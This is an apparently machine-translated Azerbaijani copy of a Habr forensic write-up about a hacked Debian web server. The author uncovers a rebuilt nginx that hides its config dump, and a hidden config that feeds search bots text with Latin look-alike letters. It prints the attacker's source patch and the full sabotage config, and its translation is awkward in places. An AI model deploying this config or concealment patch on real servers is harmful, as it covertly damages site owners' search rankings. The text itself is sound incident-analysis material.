'a' 'a' ilə bərabər olmadıqda. Bir hack ardınca

Tanıdığım birinin başına çox xoşagəlməz bir hekayə gəldi. Amma bu, Mixail üçün nə qədər xoşagəlməz olsa da, mənim üçün də bir o qədər maraqlı idi.

Deməliyəm ki, dostum kifayət qədər yaxşıdır UNIX- istifadəçi: sistemi özü quraşdıra bilər mysql, php və ən sadə parametrləri edin nginx.
Və onun tikinti alətlərinə həsr olunmuş onlarla və ya daha çox veb-saytı var.

Zəncirli mişarlara həsr olunmuş belə veb saytlardan biri axtarış motorlarının reytinqində möhkəm yer tutur. Bu sayt qeyri-kommersiya baxış saytıdır, lakin kimsə bundan bezib və ona hücum etməyə başlayıb. DDoS, sonra kobud güc, sonra nalayiq şərhlər yazıb hostinq və RKN-ə sui-istifadələr göndərirlər.
Birdən hər şey sakitləşdi və bu sakitlik yaxşı bir şey olmadığı ortaya çıxdı və sayt tədricən axtarış nəticələrinin üst sıralarını tərk etməyə başladı.

'a' 'a' olmadığı zaman. Bir hackin izi ilə

Bu bir söz idi, sonra adminin hekayəsi.

Yatma vaxtı yaxınlaşırdı ki, telefonum zəng çaldı: "Sanya, serverimi yoxlaya bilərsən? Düşünürəm ki, sındırılmışam. Bunu sübut edə bilmirəm, amma artıq üç həftədir ki, bunu hiss edirəm. Bəlkə mənim paranoyamı müalicə etmək vaxtıdır?"

Sonrakı yarım saatlıq müzakirə oldu və onu aşağıdakı kimi ümumiləşdirmək olar:

  • hacking üçün zəmin olduqca münbit idi;
  • haker super istifadəçi hüquqlarını əldə edə bilər;
  • hücum (əgər baş veribsə) hədəfə alınıb və konkret olaraq bu saytda;
  • problem sahələri düzəldildi və yalnız nüfuz etmə faktının olub olmadığını başa düşmək lazımdır;
  • Hack saytın koduna və verilənlər bazasına təsir göstərə bilmədi.

Son nöqtəyə gəldikdə.

'a' 'a' olmadığı zaman. Bir hackin izi ilə

Yalnız frontendin ictimai IP-si dünyaya açıqdır. Http(lər) istisna olmaqla arxa tərəflər və frontend arasında əlaqə yoxdur, istifadəçilər və parollar fərqlidir və açarlar dəyişdirilmir. Şəxsi ünvanlarda 80/443-dən başqa bütün portlar bağlıdır. Backendin ictimai IP-ləri yalnız Mixailin tamamilə etibar etdiyi iki istifadəçiyə məlumdur.

Ön hissədə quraşdırılmışdır Debian 9 və zəng edilən zaman sistem xarici firewall tərəfindən dünyadan təcrid olunur və dayandırılır.

"Yaxşı, mənə icazə ver" yuxunu bir saat təxirə salmaq qərarına gəldim. "Öz gözlərimlə görəcəm."

Buradan:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Mümkün bir hack axtarışında

Əvvəlcə serveri işə salıram xilasetmə rejimiDiskləri quraşdırıram və onların arasında sürüşdürürəm. autent-loglar, tarix, sistem qeydləri və s., mümkün olduqda faylın yaradılma tarixlərini yoxlayıram, baxmayaraq ki, başa düşürəm ki, normal haker hər şeyi "süpürdü" və Mişa özü axtararkən artıq çox şey "tapdalayıb".

Mən normal rejimdə başlayıram, hələ nə axtaracağımı bilmirəm, ona görə də konfiqurasiyaları öyrənirəm. Əsas marağımdır nginx çünki ümumiyyətlə, frontenddə ondan başqa heç nə yoxdur.
Konfiqurasiyalar kiçikdir, onlarla faylda yaxşı qurulmuşdur, mən sadəcə onlara baxıram pişik'öz növbəsində om. Hər şey təmiz görünür, amma bəlkə bir şeyi qaçırdım. daxil, tam siyahı hazırlayacağam:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Başa düşmədim: "Elan haradadır?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Siyahı ilə bağlı sual ikincisi ilə tamamlanır: "Nginx versiyası niyə bu qədər qədimdir?"

Bundan əlavə, sistem quraşdırılmış versiyanın daha yeni olduğunu hesab edir:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Mən zəng edirəm:
- Miş, niyə yenidən yığıldın? nginx?
- Özünə gəl, bunu necə edəcəyimi heç bilmirəm!
-Yaxşı, get yat...

Nginx O, mütləq yenidən quruldu və "-T" siyahı çıxışı bir səbəbdən gizlədilib. Hack haqqında artıq heç bir şübhə yoxdur, ona görə də biz bunu sadəcə qəbul edə bilərik və (Mişa hər halda serveri yenisi ilə əvəz etdiyi üçün) problemin həll olunduğunu hesab edirik.

Və həqiqətən, kimsə hüquqları aldıqdan sonra kök'ah, o zaman bunu etmək məntiqlidir sistemi yenidən quraşdırın, və orada nə fitnə-fəsad törədildiyini axtarmaq faydasız idi, amma bu dəfə maraq yuxuya qalib gəldi. Onların bizdən nə gizlətmək istədiklərini necə öyrənə bilərik?

İzləməyə çalışaq:

$ strace nginx -T

İzə baxırıq, açıqca əskik sətirlər var

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Maraq üçün tapıntıları müqayisə edək

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Məncə bu kodun bir hissəsidir /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

formaya gətirildi:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

və ya

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

buna görə də "-T" üçün siyahı göstərilmir.

Bəs konfiqurasiyamızı necə görə bilərik?

Fikrim düzdürsə və problem ancaq dəyişəndədirsə ngx_dump_config istifadə edərək quraşdırmağa çalışaq gdb, şükürlər olsun ki, açar -cc-opt ilə -g mövcuddur və ümid edirik ki, optimallaşdırılacaq -O2 Bu bizə zərər verməyəcək. Ancaq necə olduğunu bilmədiyim üçün ngx_dump_config -də emal oluna bilər 'T' halı:, biz bu bloku çağırmayacağıq, lakin istifadə edərək quraşdıracağıq 't' halı:

Niyə mən '-t' və '-T' hərflərindən istifadə edə bilərəm?Blok emalı əgər(ngx_dump_config) daxilində baş verir əgər(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Əlbəttə ki, kod bu hissədə deyil, dəyişdirilərsə 'T' halı:, onda mənim metodum işləməyəcək.

nginx.conf sınayınProblemi artıq təcrübə yolu ilə həll etdikdən sonra, zərərli proqramın işləməsi üçün minimal konfiqurasiya tələb olunduğu müəyyən edilib nginx növü:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Qısalıq üçün məqalədə ondan istifadə edəcəyik.

Gəlin sazlayıcını işə salaq

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Addım addım:

  • funksiyada kəsilmə nöqtəsi təyin edin əsas ()
  • proqramı işə salırıq
  • Konfiqurasiya çıxışını təyin edən dəyişənin dəyərini dəyişdiririk ngx_dump_config=1
  • proqramı davam etdirin/bitirin

Gördüyümüz kimi, faktiki konfiqurasiya bizimkindən fərqlənir. Ondan parazit parçanı çıxaraq:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Gəlin burada nə baş verdiyinə sıra ilə baxaq.

Müəyyən edilir İstifadəçi Agentyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Xidmət səhifələri istisna olunur Mesaja:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Və yuxarıdakı şərtlərin hər ikisinə düşənlər üçün

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

mətndə html-səhifələr dəyişir 'O' haqqında 'o' и 'A' haqqında 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Düzdü, yeganə incəlik ondadır 'a' != 'a' kimi 'o' != 'o':

'a' 'a' olmadığı zaman. Bir hackin izi ilə

Beləliklə, axtarış motoru botları adi 100% kiril mətni əvəzinə latın hərfləri ilə seyreltilmiş dəyişdirilmiş zibil alır. 'a' и 'o'Bunun SEO-ya necə təsir edəcəyi barədə fərziyyə edə bilmərəm, lakin çətin ki, bu cür hərflər qarışıqlığı axtarış nəticələrinə müsbət təsir göstərsin.

Nə deyim, fantaziyası olan uşaqlar.

References

GDB ilə sazlama
gdb(1) — Linux kişi səhifəsi
strace(1) — Linux kişi səhifəsi
Nginx - Modul ngx_http_sub_module
Testereler, zəncirli mişarlar və elektrik mişarları haqqında

Mənbə: www.habr.com

DDoS mühafizəsi, VPS VDS serverləri olan saytlar üçün etibarlı hostinq alın 🔥 DDoS qorunması, VPS VDS serverləri ilə etibarlı veb sayt hostinqi alın | ProHoster